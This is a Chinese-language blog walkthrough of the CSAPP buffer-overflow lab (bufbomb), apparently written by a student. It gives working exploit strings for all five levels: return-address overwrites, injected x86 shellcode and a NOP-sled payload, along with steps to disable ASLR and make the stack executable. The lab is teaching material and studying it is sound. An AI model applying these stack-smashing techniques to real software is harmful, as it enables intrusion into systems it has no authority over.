本篇文章是CSAPP配套实验的第三个,基于缓冲区溢出的攻击实验,和前面的bomb lab同属一章,它们都属于机器级编程这一章的内容,前面的bomb lab是为了阅读和理解汇编语言代码,而这个实验则是为了理解过程调用和x86栈帧结构。
首先还是以吐槽开头,这个实验文件还是从学校系统里下载的,但是很多东西有问题甚至是误导性的。学校将原本的栈缓冲区大小改为了12个字节,并把原版代码包中的hex2raw程序改成了sendstring(迷惑行为,这个函数后来被证明是有问题的),同时做的PPT语焉不详。哦对,这个实验用的还是32位汇编(蚌埠住了),对应原书第二版。
下面我将我完成此实验的过程记录下来。
Ahead Of Work
1.这个实验不难,但是最好要用原版的实验代码包,原版实验文件在这,到里面去找AttackLab的self-study handout即可。
2.有一份非常重要的官方提供的实验指导文件,它会给你一些重要的指导,这份实验指导书在这里,很多人不知道这个文件,会错过很多重要信息,所以以后在follow一些国外课程的schedule时,要学会去搜罗原版的参考资料。
3.注意下面的所有实验过程都是在学校的代码包中进行的,所以对于前几个题来说,这里的缓冲区大小为12字节,但是这些问题本身的求解思路是完全一样的。
4.和之前的bomb lab一样,在这里我们最好将可执行文件bufbomb反汇编出来,即使用如下指令:
objdump -d bufbomb > objdump.s
随后在一个好用的编辑器中打开objdump.s,方便检索。
0.Candle
这个题是最基础的缓冲区溢出攻击,我首先给出最基本的test函数的栈帧结构和攻击之后的目标栈帧结构示意图:
左边是原始的栈帧结构,右边是攻击后的栈帧结构,我们可以看到我们输入的字符要可以越过缓冲区,将原先可以返回test的地址强行篡改成返回smoke函数的地址。至于前面的填充字符,可以是任何值,这里为了方便起见,填充的是全0,所以生成的攻击代码是:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00 /* padding */
20 8e 04 08 /* return address to smoke */
将攻击字符串填入一个文本文件中,这里我保存为exploit_candle.txt,随后使用hex2raw函数将其转化为字符串,这里你不需要去读这些生成的字符串,因为它们是不可打印字符,转换出来直接丢进bufbomb函数即可。
./hex2raw < exploit_candle.txt > raw_candle.txt
./bufbomb -t yourid < raw_candle.txt
执行之后函数不会返回test,而是转向smoke函数。
1.Sparkler
这道题比candle要求更高了一些,它要求将和你的ID相绑定的Cookie送入返回的函数,参考文件中对fizz函数的C语言形式给出了描述:
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
也就是说,我们要传入的Cookie必须要放在正确的栈帧位置以备fizz函数读取,那么fizz要从哪里读取Cookie呢?
08048dc0 <fizz>:
8048dc0: 55 push %ebp
8048dc1: 89 e5 mov %esp,%ebp
8048dc3: 53 push %ebx
8048dc4: 83 ec 14 sub $0x14,%esp
8048dc7: 8b 5d 08 mov 0x8(%ebp),%ebx /*%ebx从这里来*/
8048dca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd1: e8 ca fb ff ff call 80489a0 <entry_check>
8048dd6: 3b 1d cc a1 04 08 cmp 0x804a1cc,%ebx /* 对应于条件判断 */
8048ddc: 74 22 je 8048e00 <fizz+0x40>
8048dde: 89 5c 24 04 mov %ebx,0x4(%esp)
8048de2: c7 04 24 98 98 04 08 movl $0x8049898,(%esp)
8048de9: e8 76 f9 ff ff call 8048764 <printf@plt>
8048dee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048df5: e8 aa f9 ff ff call 80487a4 <exit@plt>
8048dfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048e00: 89 5c 24 04 mov %ebx,0x4(%esp)
8048e04: c7 04 24 29 9a 04 08 movl $0x8049a29,(%esp)
8048e0b: e8 54 f9 ff ff call 8048764 <printf@plt>
8048e10: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e17: e8 c4 fc ff ff call 8048ae0 <validate>
8048e1c: eb d0 jmp 8048dee <fizz+0x2e>
8048e1e: 89 f6 mov %esi,%esi
注意fizz反汇编代码的这一行,它对应的是C代码中的条件判断:
8048dd6: 3b 1d cc a1 04 08 cmp 0x804a1cc,%ebx
其中%ebx是从(%ebp + 8)处读取的内容,所以cookie应该放在跳入fizz函数之后栈帧基址+8的位置,为了验证这个猜想,我们可以打印一下位于0x804a1cc处的内容,看看它是不是我们推测的那样,结果如下:
无论是变量名还是具体内容,都和我的Cookie是一致的,所以这个地址存放的就是cookie。
给出这道题修改前后的栈帧结构示意图:
所以需要输入的攻击字符串为:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 8d 04 08 /* return address to fizz */
00 00 00 00
9d b1 93 60 /* cookie */
类比于candle,将此攻击代码注入bufbomb,结果如下:
2.Firecracker
从这道题开始,攻击方式变得更加复杂了,不再是手动确定机器代码了。而是直接将编码汇编语言的指令注入栈中并执行,所以你需要提前做一些工作:
1.你需要关闭栈随机机制(ASLR),否则无法完成此实验。
2.你需要打开位于栈区的代码执行权,否则位于栈区的代码无法执行,这个可以使用execstack工具。
指导书中给出了函数bang的C语言程序,如下所示:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else {
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
}
可以看到bang函数原型中引用了一个全局变量global_value,然后你注入的汇编代码要使得global_value被设置为自己的cookie。
下面来着手解决这个问题,这道题要求你把全局变量global_value设置为自己的Cookie值,那么首先要确定这个全局变量global_value到底在哪里。阅读bang函数的反汇编代码:
08048d60 <bang>:
8048d60: 55 push %ebp
8048d61: 89 e5 mov %esp,%ebp
8048d63: 83 ec 08 sub $0x8,%esp
8048d66: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d6d: e8 2e fc ff ff call 80489a0 <entry_check>
8048d72: a1 dc a1 04 08 mov 0x804a1dc,%eax
8048d77: 3b 05 cc a1 04 08 cmp 0x804a1cc,%eax
8048d7d: 74 21 je 8048da0 <bang+0x40>
8048d7f: 89 44 24 04 mov %eax,0x4(%esp)
8048d83: c7 04 24 0b 9a 04 08 movl $0x8049a0b,(%esp)
8048d8a: e8 d5 f9 ff ff call 8048764 <printf@plt>
8048d8f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048d96: e8 09 fa ff ff call 80487a4 <exit@plt>
8048d9b: 90 nop
8048d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048da0: 89 44 24 04 mov %eax,0x4(%esp)
8048da4: c7 04 24 70 98 04 08 movl $0x8049870,(%esp)
8048dab: e8 b4 f9 ff ff call 8048764 <printf@plt>
8048db0: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048db7: e8 24 fd ff ff call 8048ae0 <validate>
8048dbc: eb d1 jmp 8048d8f <bang+0x2f>
8048dbe: 89 f6 mov %esi,%esi
同样还是注意有关比较的两行汇编代码
8048d72: a1 dc a1 04 08 mov 0x804a1dc,%eax
8048d77: 3b 05 cc a1 04 08 cmp 0x804a1cc,%eax
这两行代码对应于原先bang函数的if条件判断,那么可以大胆地推测我们要使用的global_value和cookie就存储在这两个内存位置(结合sparkler阶段),其实已经可以确定这个0x804a1dc存储的就是我们需要修改的global_value,我们验证一下:
gdb显示存储在此处的是一个变量,名为global_value,值为0,说明推测是正确的。
好了,接下来就是将我们要处理的逻辑写成汇编语言,如下所示:
movl $0x6093b19d, 0x804a1dc # set global_value to my cookie
push $0x8048d60 # push the start address of bang to stack
ret # return to the start of bang
指导书附录有详细的如何将上述汇编语言转换成机器代码的过程,这个自行查看实验指导书,转化出来的机器代码如下所示:
c7 05 dc a1 04 08 9d /* movl $0x6093b19d, 0x804a1dc */
b1 93 60
68 60 8d 04 08 /* push start address of bang */
c3 /* ret */
数一数,正好16个字节。
最后,我们需要让函数从getbuf返回时返回到这段代码的开头,所以我们得确定这段代码对应栈区的地址。也就是缓冲区的起始地址,对应的是(%esp - 12),在gdb中调试结果如下:
至此,我们获得了所有攻击需要的信息,可以将这些信息编篡成字符串注入了,攻击字符串汇总如下:
c7 05 dc a1 04 08 9d /* movl $0x6093b19d, 0x804a1dc */
b1 93 60
68 60 8d 04 08 /* push start address of bang */
c3 /* ret */
5c b5 ff ff
给出攻击前后的栈帧示意图如下:
执行上述攻击,可以完成本阶段:
3.Dynamite
这个阶段要做的任务是神不知鬼不觉地完成攻击,我们要将我们的cookie设置为getbuf的返回值,并且函数还要正常返回test,在这个过程中并不破坏任何栈帧结构,不破坏任何栈帧结构的含义也就是攻击之后%esp和%ebp必须保证能够返回与正常情况下相同的位置。
首先构造完成攻击的汇编代码如下,注意函数的返回值保存在%eax中:
movl $0x6093b19d, %eax # move cookie to %eax
push $0x804901e # push the address of test back to stack
ret # return to the test
注意其中的0x804901e是从getbuf函数返回test后的第一条指令的地址,我们要将其推入栈中。
# 0x804901e is the return address to test
8049019: e8 c2 ff ff ff call 8048fe0 <getbuf>
804901e: 89 c2 mov %eax,%edx
处理上述汇编代码得到的机器代码如下:
b8 9d b1 93 60 /* mov $0x6093b19d,%eax */
68 1e 90 04 08 /* push $0x804901e */
c3 /* ret */
00 /* 12 bytes so far */
指令一共是11个字节,我又填充了一个0字节凑足了12字节,可以看到这时已经填满了缓冲区。接下来再往上填充就会覆盖原先的%ebp指针值,为了保证栈不被破坏,我们必须保持这个值不变,这个值是多少呢?用gdb可以调试一下:
也就是说这个值我们必须保持不变,这个值本质上是函数test的栈帧基址。然后跨过这个栈字,我们要修改函数返回值到我们的攻击代码,与前一个问题相同,这段攻击代码的起始地址同样是缓冲区开始的地址0xffffb55c,所以我们构造的攻击代码为:
b8 9d b1 93 60 /* mov $0x6093b19d,%eax */
68 1e 90 04 08 /* push $0x804901e */
c3 /* ret */
00 /* 12 bytes so far */
88 b5 ff ff /* keep the value of %ebp unchanged */
5c b5 ff ff /* address of exploit code */
可以尝试模拟一下以上代码的执行过程,它确实可以保证栈帧结构不被损毁,下面是攻击前后的栈帧示意图:
执行上述攻击的结果如下,表明攻击代码成功的将返回值置为了我自己的cookie:
4.Nitroglycerin
这个题是相对来说最难的,上述的每一个栈帧结构都是提前做过稳定措施的,所以攻击者可以轻易找到一个固定的地址,最后一个就会麻烦的多,因为无法确定一个固定的攻击地址,而且程序本身也和原先有了一些不一致,首先是test变为了testn,getbuff变为了getbufn。指导书中给出了getbufn的C代码原型:
#define KABOOM_BUFFER_SIZE 512
int getbufn()
{
char buf[KABOOM_BUFFER_SIZE];
Gets(buf);
return 1;
}
缓冲区的大小是512个字节,这是为了给我们留下充分的攻击空间,testn则会对你的攻击字符串进行连续5次的随机测试,测试你的攻击是否能够在任何一个空间大小为随机值的情况下攻击到程序。
getbufn函数的调用者每次在调用getbufn之前都会在栈区分配一个随机大小(0~255 bytes)的局部数组,这使得你无法确定在某一次具体的调用之下,缓冲区从何处开始,也就无法通过硬编码让代码返回时恰好返回到你的攻击代码。
解决此问题的诀窍在于空操作雪橇(nop sled),也就是说我们使用这个编码为单字节(0x90)的空操作指令(nop,除了让指令计数器+1之外别无他用)完成攻击。它就像一个滑梯,我们如果在缓冲区的前面铺垫足够多的nop,那么无论我们跳到缓冲区的哪个位置,最终都会坐着这个滑梯一点点地滑到我们的攻击代码。
除此之外,这道题的要求与阶段3:Dynamite并无不同,也就是把cookie作为返回值,并保证栈帧结构不被破坏。
这道题解决起来有两个需要处理的问题:
1.如何确定我们的代码跳转到的地址?
2.如何保证堆栈结构不被破坏?
首先来看问题1,解决这个问题,我们需要使用去调试一下。事实上如果调试了可以发现,5次执行的缓冲区开始地址虽然不相同,但是它们始终保持不变,这就给我们的攻击带来了很大的便利。在我的实验机器上,这5次调试对应的缓冲区开始地址为:
第一次:
第二次:
第三次:
第四次:
第五次:
而且反复调试,得到的结果都如上面所示。那么现在的问题是,我们该选取哪一个地址作为返回地址呢?
注意,栈是向地址减少的方向增长的,缓冲区开始地址越小越说明上面getbufn的调用者开辟的缓冲区越大。所以我们应该选择这里面地址最大的那个(0xffffb368)作为我们注入代码的返回地址,因为它一定可以落在所有对应缓冲区中,经由不同长度的雪橇,一定可以最终滑回我们的攻击代码。
现在来看第二个问题,就是如何保证栈帧结构不被破坏,这里的意思和阶段3是一样的,本质上就是要保证从getbufn返回时栈基址指针%ebp的值不变,但问题在于它的值确实每次都在变化,我们没法使用硬编码的方式将其恢复。
这里最终需要采用“相对寻址”,这里加引号的意思就是我们需要借由%esp的值推算出当初的%ebp所在的位置。
借由上面的栈帧结构都可以看出,当从getbuf(n)返回时,均有%ebp = (%esp + 18),这一点非常重要。
所以我们据此来写出攻击代码:
movl $0x6093b19d, %eax # move cookie to %eax
lea 0x18(%esp), %ebp # restore %ebp
push $0x8048f8e # push the address of testn back to stack
ret # return to the testn
注意我们必须先借由%esp相对地恢复%ebp的值,然后再将0x8048f8e推入栈中,否则会造成错误的%ebp地址。
得到这段攻击代码对应的机器码如下:
b8 9d b1 93 60 /* mov $0x6093b19d,%eax */
8d 6c 24 18 /* lea 0x18(%esp),%ebp */
68 8e 8f 04 08 /* push $0x8048f8e */
c3 /* ret */
00 /* 16 bytes so far */
00 00 00 00 /* cannot restore %ebp here*/
68 b3 ff ff /* jump to the start of exploit code */
注意一开始没办法恢复%ebp的值,只能由任意值填充,然后恢复过程交由攻击代码来完成。
最后,为了保证攻击代码的稳定性,就通过添加nop的方式将整个缓冲区的前面填满nop指令来构造雪橇(512 - 16 = 496bytes)。
完整的攻击代码如下:
90 90 90 90 /* 1. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 2. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 3. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 4. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 5. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 6. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 7. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 8. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 9. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 10. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 11. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 12. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 13. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 14. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 15. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 16. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 17. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 18. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 19. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 20. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 21. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 22. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 23. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 24. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90 /* 25. a set of nops */
90 90 90 90
90 90 90 90
90 90 90 90
b8 9d b1 93 60 /* mov $0x6093b19d,%eax */
8d 6c 24 18 /* lea 0x18(%esp),%ebp */
68 8e 8f 04 08 /* push $0x8048f8e */
c3 /* ret */
00 /* 16 bytes so far */
00 00 00 00 /* cannot restore %ebp */
68 b3 ff ff /* jump to the start of exploit code */
使用下述命令行执行上述攻击代码:
cat exploit.txt | ./hex2raw -n | ./bufbomb -n -t bovik
我的执行结果如下:
五次攻击全部成功!
感想
本次实验借由缓冲区攻击的机会,深入探索了x86-IA32的栈帧结构和过程调用过程。这是对前面一个实验bomb lab的补充,前面的实验只是阅读并理解汇编代码,这里则是让实验者自己动手去修改栈帧结构,并完成五个趣味盎然的攻击实验,还是颇有趣味的一件事情。